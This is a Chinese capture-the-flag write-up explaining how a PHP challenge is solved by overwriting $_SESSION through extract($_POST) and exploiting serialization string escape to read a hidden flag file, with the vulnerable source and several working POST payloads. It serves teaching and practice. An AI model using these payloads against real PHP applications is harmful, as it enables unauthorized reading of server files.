有过一个类题,其实就在moectf2023里的夺命十三枪,我也写过一个wp;
先来看看session的相关知识,这篇文章写的也很好,并且这次的反序列化没有php类,而是session形式,所以待会有些session知识我们也要用到。
https://blog.csdn.net/masterft/article/details/1640122
wp部分来自:
https://blog.csdn.net/weixin_52585514/article/details/124291588
https://blog.csdn.net/qq_43622442/article/details/106003691
源码审计
打开就是源码,源码审计一下:
<?php $function = @$_GET['f'];//懂的都懂 function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件) $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION);//把$_SESSION重置为空,就是删除session的操作 } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);//这里就用了变量覆盖的知识 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤 if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西 eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));//这里只进行了一次base64解码。 }
来看extract函数:
将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。
extract($_POST)就是将post的内容作为这个函数的参数。
然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
至于为什么post要传_SESSION[flag]=123而不是$_SESSION[flag]=123,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。
本地测试:
<?php $_SESSION["user"] = 'guest'; $_SESSION['function'] ='123'; echo '覆盖前:'; var_dump($_SESSION); echo "<br>"; extract($_POST); echo '覆盖后:'; var_dump($_SESSION);
换句话说,我们POST里面可以直接传参改掉源码里SESSION注册的原值,把所有SESSION的东西全换成我们POST上去的东西。
接下来提示让我们去phpinfo找找,
那就先?f=phpinfo看看能找到什么东西。
直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名:d0g3_f1ag.php
找到了一个php文件,意思是页面底部加载文件,即require()。
很显然要通过最后一个语句来打开查看这个文件。
else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
而那个文件名以base64编码后的字符串存在userinfo['img']里面,而$userinfo = unserialize($serialize_info)
又$serialize_info= filter(serialize($_SESSION))。
而且在提取文件时,只对文件进行了一次base64解码,所以对应代码里的
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
搜了一下,sha1是单向加密函数,即不能从结果推出原始字符串。
所以这里我们只能让img_path为空,并把guest_img.png逃逸出去。
捋一下思路
$function我们可以通过 $f 直接赋值,么的影响。 现在我们就要base64_decode($userinfo['img'])=d0g3_f1ag.php 那么就要$userinfo['img']=ZDBnM19mMWFnLnBocA== 而$userinfo又是通过$serialize_info反序列化来的$serialize_info又是通过session序列化之后再过滤得来的 //来自https://blog.csdn.net/qq_43622442/article/details/106003691
注意到这个filter函数的作用,它会把匹配到的字符全部赋空,也就是说利用它可以逃逸出想要插进去的字符数,满足序列化里的数字对应
本地测一测看看原始的序列化之后是什么玩意:
POST传_SESSION[imgaaa]=123看看:
键值逃逸
思路就来了:(搜了下才发现这叫做键值逃逸)
我们可以照样传个user,但是user的值是filter函数内过滤掉的内容,然后让序列化字符串吞掉后续的真属性,img传假payload,也就是flag文件。
先看这个文件转码过来是什么,是20个字符串:ZDBnM19mMWFnLnBocA==,那么img这里的payload就应该是:
_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
注意这个部分最后分号后加上 ";} 这三个符号,达到提前闭合的效果,把后续img的真属性给无效化。
中间的function其实也可以不POST传进行变量覆盖了,因为function需要我们GET传f=show_image触发最后的读取函数。
但下面这个做法也还是传了,无伤大雅。
首先想到序列化字符串组成是
类名:属性数量:{属性i类型:属性i名字长度:属性i名字;属性i的对应值类型;属性i的对应值名字长度;属性i对应值......}
那么,我们就可以这样制造payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为有变量覆盖,我们POST传这个东西可以直接改值,为所欲为。
前面传6个flag,在经历SESSION序列化并filter后,就会置空,然后就会让序列化字符串自己吞下自己后面的真属性。
在代码里SESSION所有属性部分(此处有三个,一个是user,一个是function,一个是img,前两个变量覆盖,最后一个是内置注册的属性,所以开头是a:3)
进行序列化后会变成这样:(这里方框中括号原作者H9_dawn自己加的,方便看的清楚,括号里是我们传的变量值)
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"【p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
经过过滤函数之后,会变成:
a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"【p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它就会往后吞,不管什么符号,都吞掉24个字符。
吞完之后变成了这样:(这里方框中括号内就是新匹配到的24个字符,是从第一个左双引号之外开始算的,所以第一个吞的就是右双引号)
a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"p】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
这时,中括号里的字符串就变成了user的新值,这时候我们自己输入的function参数和制造的img序列化部分,就把真的function参数替代掉了。
小补充
至于为什么里面要加一个s:7:"H9_dawn",我开始以为是博主自己名字给wp加个水印,后面我才发现,这不是乱加的。
因为第一次识别的时候,必须要有三个键名和对应的三个键值。
对于键名来说第一个是user,第二个是function,第三个img。user有吞掉的字符串成为新值,但是funtion只有一个键名序列化,没有它自己的键值序列化,我们就需要补充这个键值序列化来充当function的新值。然后是img,因为是提前人为构造好了,所以没有问题。
那么,直接开传:
get传
f=show_image
post传(这里我也浅浅加个水印吧~~~)
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:11:"EddieMurphy";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
虽然一篇空白,我们查看源码:
那就再转一次base64码,发现还是20个字符串刚刚好,不用再改数字,直接传进去:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:11:"EddieMurphy";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
成功获取flag。
键名逃逸
来自https://www.bilibili.com/read/cv18660727/
好方法。
payload:
_SESSION[flagphp]=;s:2:"db";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化后:
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
同理
这里附上多个大佬payload,方便大家理解和自己构造payload:
get:f=show_image
post:
_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";} _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";} _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} _SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"ab";s:2:"cc";}
总结
这也就是字符串逃逸的思路:
1)按用途
缩短:把序列化后的字符串通过本身过滤规则/替换规则把真函数/参数给吞掉,传假参数上去狸猫换太子,利用payload最后的右花括号 } 提前闭合序列化后的字符串,然后获取flag。
变长:把序列化后的字符串通过本身替换规则腾出新的字符空间,根据数字对应可以传特定payload上去,利用payload最后的右花括号 } 提前闭合序列化后的字符串获取flag。
2)按方法
键名逃逸
键值逃逸
标签:function,20,进阶,img,--,SESSION,user,序列化 From: https://www.cnblogs.com/EddieMurphy-blogs/p/17719978.html